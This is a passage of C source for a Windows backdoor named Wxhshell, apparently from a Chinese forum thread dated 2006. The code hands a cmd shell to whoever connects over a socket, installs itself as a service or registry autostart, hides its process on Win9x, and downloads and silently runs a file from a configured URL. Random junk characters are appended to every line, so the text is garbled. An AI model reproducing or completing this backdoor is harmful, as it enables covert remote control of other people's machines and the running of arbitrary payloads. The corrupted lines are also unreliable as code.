    if(Boot(SHUTDOWN)) UVlXDebl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f.{/PL  
    else { -NL=^O$G  
    closesocket(wsh); EjjW%"C,  
    ExitThread(0); 0/~20KD{s  
    } 2$=I+8IL  
    break; zAA3bgaa  
    } i[r>^U8O  
  // 获取shell BHrNDpv  
  case 's': { &XF@Dvv  
    CmdShell(wsh); |-zefzD|  
    closesocket(wsh); {@*l,[,5-  
    ExitThread(0); tg#d.(  
    break; '6zk> rN  
  } 9'I$8Su  
  // 退出 RkTO5XO  
  case 'x': { M WHzrqCA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7c>{og6  
    CloseIt(wsh); FrL ;1zt  
    break; #_9Jam%M  
    } 9X ^D(  
  // 离开 I;rh(FMV  
  case 'q': { N&YQZ^o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E!]d?t3b  
    closesocket(wsh); ;]I~AGH:  
    WSACleanup(); *m.4)2u=  
    exit(1); f)9{D[InM^  
    break; ZD`p$:pT  
        } m1{OaHxKh  
  } y-R:-K XH=  
  } JXKo zy41  
!`qw" i  
  // 提示信息 >@+ r|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "IMq +  
} I5H#]U  
  } G}N T[  
bQBYzvd  
  return; yh{Wuz=T  
} 3+tr_psH  
m`B .3  
// shell模块句柄 Ew$-,KC[  
int CmdShell(SOCKET sock) bG&vCH;}%  
{ c8}jO=/5+  
STARTUPINFO si; E As1 =  
ZeroMemory(&si,sizeof(si)); A>Y!d9]ti  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0?/vcsO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E*]%@6tH  
PROCESS_INFORMATION ProcessInfo; 2& ZoG%)  
char cmdline[]="cmd"; ?I}0[+)V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NWt5)xl  
  return 0; Ou,Eu05jt'  
} 68YJ@(iS  
y>iote~  
// 自身启动模式 ^,,lo<d_L  
int StartFromService(void) _ H$^m#h  
{ y1*z," dx  
typedef struct yaWHGre  
{ YM4njkI7  
  DWORD ExitStatus; Q ~>="Yiu  
  DWORD PebBaseAddress; T*v@hbJ  
  DWORD AffinityMask; b _%W*Q  
  DWORD BasePriority; C=!YcJ9  
  ULONG UniqueProcessId; p({)ZU3  
  ULONG InheritedFromUniqueProcessId; n.tJ-l5[  
}   PROCESS_BASIC_INFORMATION; O9jpt>:kZ  
GJ P\vsaQ  
PROCNTQSIP NtQueryInformationProcess; b]XDfe  
D! $4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +x:-W0C:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i48Tb7Rx~n  
~ s# !\Ye  
  HANDLE             hProcess; le.(KgRS4  
  PROCESS_BASIC_INFORMATION pbi; bc ;(2D  
t}A n:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F%F:Gr/  
  if(NULL == hInst ) return 0; yMCd5%=M\  
a]nyZdt`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Yt#e[CYnu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 81&5g'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r5(-c]E7  
[2Rw)!N  
  if (!NtQueryInformationProcess) return 0; xGVL|/?8  
I$vM )+v=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9<Kc9Z  
  if(!hProcess) return 0; lL]8~3b  
&bw ``e&c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9G)q U  
bWOn`#+&  
  CloseHandle(hProcess); eq(Xzh  
=h/0k y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q?"-[6[v  
if(hProcess==NULL) return 0; XF=GmkO  
F G5e{  
HMODULE hMod; WeqQw?-  
char procName[255]; 0"O22<K3a  
unsigned long cbNeeded; Tx!c }  
i[x;k;m2q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p/GYfa dU  
AroXf#.  
  CloseHandle(hProcess); xs ^$fn\  
is,r:  
if(strstr(procName,"services")) return 1; // 以服务启动 TRSR5D[  
c7$U0JO  
  return 0; // 注册表启动 )/1,Ogb%_  
} {V{*rq<)  
K;}h u(*\]  
// 主模块 |Y42ZOK0  
int StartWxhshell(LPSTR lpCmdLine) #H1ng<QV  
{ E%E3h1Ua  
  SOCKET wsl; 8LouCv(>  
BOOL val=TRUE; 5 LZ+~!2+  
  int port=0; '5vgpmn  
  struct sockaddr_in door; 4lqowg0  
sG~5O\,E  
  if(wscfg.ws_autoins) Install(); h0)Wy>B=,  
qp@:Zqz8  
port=atoi(lpCmdLine); BHW8zY=F  
XCTee  
if(port<=0) port=wscfg.ws_port; I!;&#LT+b  
B{0m0-l  
  WSADATA data; RO1xcCp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9G'Q3? z  
5$ra4+k0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e2 ?7>?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !SFF 79$c  
  door.sin_family = AF_INET; R;*3";+v|:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X(;,-7Jw  
  door.sin_port = htons(port); T;u>]"S  
!pNY`sw}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZxRD+`  
closesocket(wsl); Kpo{:a  
return 1; [|\JIr=of5  
} e2v[ma-  
J}-,!3qxW  
  if(listen(wsl,2) == INVALID_SOCKET) { !a[1rQH  
closesocket(wsl); Yy"05V.  
return 1; ^|(w)Sy  
} liUrw7,  
  Wxhshell(wsl); ?r,lgaw  
  WSACleanup(); u}7#3JfLn  
ttwfWfX  
return 0; N}*|*!6hI  
n0T'"i[  
} W]UGo,  
HZ1e~IIw  
// 以NT服务方式启动 @ qfVt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v_gQCS  
{ 7O)U(<70  
DWORD   status = 0; [8VB"{{&  
  DWORD   specificError = 0xfffffff; TuBl9 p'6  
EEaf/D/jt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2B# ]z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,4-)  e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )k.[Ve  
  serviceStatus.dwWin32ExitCode     = 0; 'wd-!aZAd  
  serviceStatus.dwServiceSpecificExitCode = 0; ~7W?W<  
  serviceStatus.dwCheckPoint       = 0; IQS:tL/  
  serviceStatus.dwWaitHint       = 0; T>&d/$;]  
wnL\.%Y^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _d'x6$Jg  
  if (hServiceStatusHandle==0) return; 24)3^1P\V  
D! 1oYr  
status = GetLastError(); @}K'Ic  
  if (status!=NO_ERROR) McgTTM;E  
{ %r0yBK2uOp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Xz'pZ*Hr$v  
    serviceStatus.dwCheckPoint       = 0; 9ZL3p!  
    serviceStatus.dwWaitHint       = 0; !79^M  
    serviceStatus.dwWin32ExitCode     = status; @N,EoSb :  
    serviceStatus.dwServiceSpecificExitCode = specificError; JRkC~fv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SsDe\"?Q  
    return; ThX%Uzd"[;  
  } ?v>!wuiP  
x.CNDG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /HsJyp+t  
  serviceStatus.dwCheckPoint       = 0; b8QA>]6A  
  serviceStatus.dwWaitHint       = 0; %pNK ?M+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -v4kW0G  
} a W`q  
ngprTMO$&  
// 处理NT服务事件,比如:启动、停止 ,%#FK|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ji_3*(  
{ 3[E3]]OVa  
switch(fdwControl) u=h:d+rq@  
{ kzG m D i  
case SERVICE_CONTROL_STOP: {$,e@nn  
  serviceStatus.dwWin32ExitCode = 0; :A\8#]3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~a:0Q{>a  
  serviceStatus.dwCheckPoint   = 0; r^mP'#  
  serviceStatus.dwWaitHint     = 0; 8,pnm  
  { hBf0kl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l+'@y (}Q  
  } K14e"w%6rs  
  return; .(OFYK<  
case SERVICE_CONTROL_PAUSE: Gpws_ jw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $DZ\61  
  break; 2r2qZ#I}  
case SERVICE_CONTROL_CONTINUE: 05mjV6j7m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0b9;v lGq$  
  break; PpD ?TAlA  
case SERVICE_CONTROL_INTERROGATE: nc#}-}`5  
  break; s l|n]#)  
}; 3%Z:B8:<y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tr6<89e(o  
} r#^/qs(~  
P#(BdKjM  
// 标准应用程序主函数 PG<tic<?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [R[]&\W  
{ -t_t3aU|  
bT<if@h-  
// 获取操作系统版本 n}MW# :eJe  
OsIsNt=GetOsVer(); Yy6Mkw7X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )-q#hY  
9k mkF,  
  // 从命令行安装 >M{=qs  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bb2;zOGdA  
kw&,<V77~  
  // 下载执行文件 =X[]0.I%  
if(wscfg.ws_downexe) { j:# wt70  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `9BZ))Pg  
  WinExec(wscfg.ws_filenam,SW_HIDE); <H{%`  
} fmf3Hp@  
nFU'DZ  
if(!OsIsNt) { p< i;@H;:  
// 如果时win9x,隐藏进程并且设置为注册表启动 @:\Iw"P  
HideProc(); W 86`R  
StartWxhshell(lpCmdLine); Tf/jd 3>  
} &<}vs`W  
else ~0"(C#l 9  
  if(StartFromService()) jj2 [Zh/h  
  // 以服务方式启动 +;uP) "Q/L  
  StartServiceCtrlDispatcher(DispatchTable); e^)+bmh  
else 1zwk0={x-%  
  // 普通方式启动 q}[g/%  
  StartWxhshell(lpCmdLine); W($}G_j[B1  
*Y"Kbn 6  
return 0; dWbSrl  
}
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只看该作者 1 发表于: 2006-08-21
说实话啊````` IpYw<2'  
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